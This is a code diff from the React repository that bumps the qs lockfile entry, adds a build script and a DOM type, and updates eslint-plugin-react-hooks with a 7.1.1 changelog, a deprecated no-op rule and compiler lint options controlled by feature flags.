@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
|
||||
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
|
||||
|
||||
qs@~6.4.0:
|
||||
version "6.4.0"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
|
||||
version "6.4.1"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
|
||||
|
||||
querystring-es3@^0.2.0:
|
||||
version "0.2.1"
|
||||
|
||||
@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
|
||||
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
|
||||
|
||||
qs@~6.4.0:
|
||||
version "6.4.0"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
|
||||
version "6.4.1"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
|
||||
|
||||
querystring-es3@^0.2.0:
|
||||
version "0.2.1"
|
||||
|
||||
2
flow-typed/environments/dom.js
vendored
2
flow-typed/environments/dom.js
vendored
@@ -1415,6 +1415,8 @@ declare class Document extends Node {
|
||||
links: HTMLCollection<HTMLLinkElement>;
|
||||
media: string;
|
||||
open(url?: string, name?: string, features?: string, replace?: boolean): any;
|
||||
/** @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Document/prerendering} */
|
||||
prerendering: boolean;
|
||||
readyState: string;
|
||||
referrer: string;
|
||||
scripts: HTMLCollection<HTMLScriptElement>;
|
||||
|
||||
@@ -128,6 +128,7 @@
|
||||
"build-for-devtools-dev": "yarn build-for-devtools --type=NODE_DEV",
|
||||
"build-for-devtools-prod": "yarn build-for-devtools --type=NODE_PROD",
|
||||
"build-for-flight-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_DEV,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
|
||||
"build-for-flight-prod": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_PROD,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
|
||||
"build-for-vt-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react-dom/index,react-dom/client,react-dom/server,react-dom-server.node,react-dom-server-legacy.node,scheduler --type=NODE_DEV && mv ./build/node_modules ./build/oss-experimental",
|
||||
"flow-typed-install": "yarn flow-typed install --skip --skipFlowRestart --ignore-deps=dev",
|
||||
"linc": "node ./scripts/tasks/linc.js",
|
||||
|
||||
@@ -1,3 +1,22 @@
|
||||
## 7.1.1
|
||||
|
||||
**Note:** 7.1.0 accidentally removed the `component-hook-factories` rule, causing errors for users who referenced it in their ESLint config. This is now fixed.
|
||||
|
||||
- Add deprecated no-op `component-hook-factories` rule for backwards compatibility. ([@mofeiZ](https://github.com/mofeiZ) in [#36307](https://github.com/facebook/react/pull/36307))
|
||||
|
||||
## 7.1.0
|
||||
|
||||
This release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better `set-state-in-effect` detection, improved ref validation, and more helpful error reporting.
|
||||
|
||||
- Add ESLint v10 support. ([@azat-io](https://github.com/azat-io) in [#35720](https://github.com/facebook/react/pull/35720))
|
||||
- Skip compilation for non-React files to improve performance. ([@josephsavona](https://github.com/josephsavona) in [#35589](https://github.com/facebook/react/pull/35589))
|
||||
- Fix exhaustive deps bug with Flow type casting. ([@jorge-cab](https://github.com/jorge-cab) in [#35691](https://github.com/facebook/react/pull/35691))
|
||||
- Fix `useEffectEvent` checks in component syntax. ([@jbrown215](https://github.com/jbrown215) in [#35041](https://github.com/facebook/react/pull/35041))
|
||||
- Improved `set-state-in-effect` validation with fewer false negatives. ([@jorge-cab](https://github.com/jorge-cab) in [#35134](https://github.com/facebook/react/pull/35134), [@josephsavona](https://github.com/josephsavona) in [#35147](https://github.com/facebook/react/pull/35147), [@jackpope](https://github.com/jackpope) in [#35214](https://github.com/facebook/react/pull/35214), [@chesnokov-tony](https://github.com/chesnokov-tony) in [#35419](https://github.com/facebook/react/pull/35419), [@jsleitor](https://github.com/jsleitor) in [#36107](https://github.com/facebook/react/pull/36107))
|
||||
- Improved ref validation for non-mutating functions and event handler props. ([@josephsavona](https://github.com/josephsavona) in [#35893](https://github.com/facebook/react/pull/35893), [@kolvian](https://github.com/kolvian) in [#35062](https://github.com/facebook/react/pull/35062))
|
||||
- Compiler now reports all errors instead of stopping at the first. ([@josephsavona](https://github.com/josephsavona) in [#35873](https://github.com/facebook/react/pull/35873)–[#35884](https://github.com/facebook/react/pull/35884))
|
||||
- Improved source locations and error display in compiler diagnostics. ([@nathanmarks](https://github.com/nathanmarks) in [#35348](https://github.com/facebook/react/pull/35348), [@josephsavona](https://github.com/josephsavona) in [#34963](https://github.com/facebook/react/pull/34963))
|
||||
|
||||
## 7.0.1
|
||||
|
||||
- Disallowed passing inline `useEffectEvent` values as JSX props to guard against accidental propagation. ([#34820](https://github.com/facebook/react/pull/34820) by [@jf-eirinha](https://github.com/jf-eirinha))
|
||||
|
||||
@@ -74,7 +74,6 @@ export default [
|
||||
// React Compiler rules
|
||||
'react-hooks/config': 'error',
|
||||
'react-hooks/error-boundaries': 'error',
|
||||
'react-hooks/component-hook-factories': 'error',
|
||||
'react-hooks/gating': 'error',
|
||||
'react-hooks/globals': 'error',
|
||||
'react-hooks/immutability': 'error',
|
||||
@@ -108,7 +107,6 @@ export default [
|
||||
// React Compiler rules
|
||||
"react-hooks/config": "error",
|
||||
"react-hooks/error-boundaries": "error",
|
||||
"react-hooks/component-hook-factories": "error",
|
||||
"react-hooks/gating": "error",
|
||||
"react-hooks/globals": "error",
|
||||
"react-hooks/immutability": "error",
|
||||
|
||||
@@ -15,12 +15,29 @@ import {
|
||||
} from './shared/ReactCompiler';
|
||||
import RulesOfHooks from './rules/RulesOfHooks';
|
||||
|
||||
function makeDeprecatedRule(version: string): Rule.RuleModule {
|
||||
return {
|
||||
meta: {
|
||||
type: 'suggestion',
|
||||
docs: {
|
||||
description: `Deprecated: this rule has been removed in ${version}.`,
|
||||
},
|
||||
schema: [],
|
||||
deprecated: true,
|
||||
},
|
||||
create() {
|
||||
return {};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const rules = {
|
||||
'exhaustive-deps': ExhaustiveDeps,
|
||||
'rules-of-hooks': RulesOfHooks,
|
||||
...Object.fromEntries(
|
||||
Object.entries(allRules).map(([name, config]) => [name, config.rule]),
|
||||
),
|
||||
'component-hook-factories': makeDeprecatedRule('7.1.0'),
|
||||
} satisfies Record<string, Rule.RuleModule>;
|
||||
|
||||
const basicRuleConfigs = {
|
||||
|
||||
15
packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
vendored
Normal file
15
packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
/**
|
||||
* Type declarations for shared/ReactFeatureFlags
|
||||
*
|
||||
* This allows importing from the Flow-typed ReactFeatureFlags.js file
|
||||
* without TypeScript errors.
|
||||
*/
|
||||
declare module 'shared/ReactFeatureFlags' {
|
||||
export const eprh_enableUseKeyedStateCompilerLint: boolean;
|
||||
export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean;
|
||||
export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
|
||||
| 'off'
|
||||
| 'all'
|
||||
| 'extra-only'
|
||||
| 'missing-only';
|
||||
}
|
||||
@@ -21,6 +21,11 @@ import type * as ESTree from 'estree';
|
||||
import * as HermesParser from 'hermes-parser';
|
||||
import {isDeepStrictEqual} from 'util';
|
||||
import type {ParseResult} from '@babel/parser';
|
||||
import {
|
||||
eprh_enableUseKeyedStateCompilerLint,
|
||||
eprh_enableVerboseNoSetStateInEffectCompilerLint,
|
||||
eprh_enableExhaustiveEffectDependenciesCompilerLint,
|
||||
} from 'shared/ReactFeatureFlags';
|
||||
|
||||
// Pattern for component names: starts with uppercase letter
|
||||
const COMPONENT_NAME_PATTERN = /^[A-Z]/;
|
||||
@@ -81,10 +86,7 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
|
||||
// Also handles Flow component/hook syntax transformed to FunctionDeclaration with flags
|
||||
if (node.type === 'FunctionDeclaration') {
|
||||
// Check for Hermes-added flags indicating Flow component/hook syntax
|
||||
if (
|
||||
'__componentDeclaration' in node ||
|
||||
'__hookDeclaration' in node
|
||||
) {
|
||||
if ('__componentDeclaration' in node || '__hookDeclaration' in node) {
|
||||
return true;
|
||||
}
|
||||
const id = (node as ESTree.FunctionDeclaration).id;
|
||||
@@ -107,7 +109,10 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
|
||||
init.type === 'FunctionExpression')
|
||||
) {
|
||||
const name = decl.id.name;
|
||||
if (COMPONENT_NAME_PATTERN.test(name) || HOOK_NAME_PATTERN.test(name)) {
|
||||
if (
|
||||
COMPONENT_NAME_PATTERN.test(name) ||
|
||||
HOOK_NAME_PATTERN.test(name)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -136,10 +141,13 @@ const COMPILER_OPTIONS: PluginOptions = {
|
||||
validateNoCapitalizedCalls: [],
|
||||
validateHooksUsage: true,
|
||||
validateNoDerivedComputationsInEffects: true,
|
||||
// Temporarily enabled for internal testing
|
||||
enableUseKeyedState: true,
|
||||
enableVerboseNoSetStateInEffect: true,
|
||||
validateExhaustiveEffectDependencies: 'extra-only',
|
||||
|
||||
// Experimental options controlled by ReactFeatureFlags
|
||||
enableUseKeyedState: eprh_enableUseKeyedStateCompilerLint,
|
||||
enableVerboseNoSetStateInEffect:
|
||||
eprh_enableVerboseNoSetStateInEffectCompilerLint,
|
||||
validateExhaustiveEffectDependencies:
|
||||
eprh_enableExhaustiveEffectDependenciesCompilerLint,
|
||||
},
|
||||
};
|
||||
|
||||
|
||||
@@ -9,7 +9,8 @@
|
||||
"types": ["estree-jsx", "node"],
|
||||
"downlevelIteration": true,
|
||||
"paths": {
|
||||
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"]
|
||||
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"],
|
||||
"shared/*": ["../shared/*"]
|
||||
},
|
||||
"jsx": "react-jsxdev",
|
||||
"rootDir": "../..",
|
||||
|
||||
@@ -122,7 +122,6 @@ ${diff(expectedLog, actualLog)}
|
||||
|
||||
function aggregateErrors(errors: Array<mixed>): mixed {
|
||||
if (errors.length > 1 && typeof AggregateError === 'function') {
|
||||
// eslint-disable-next-line no-undef
|
||||
return new AggregateError(errors);
|
||||
}
|
||||
return errors[0];
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user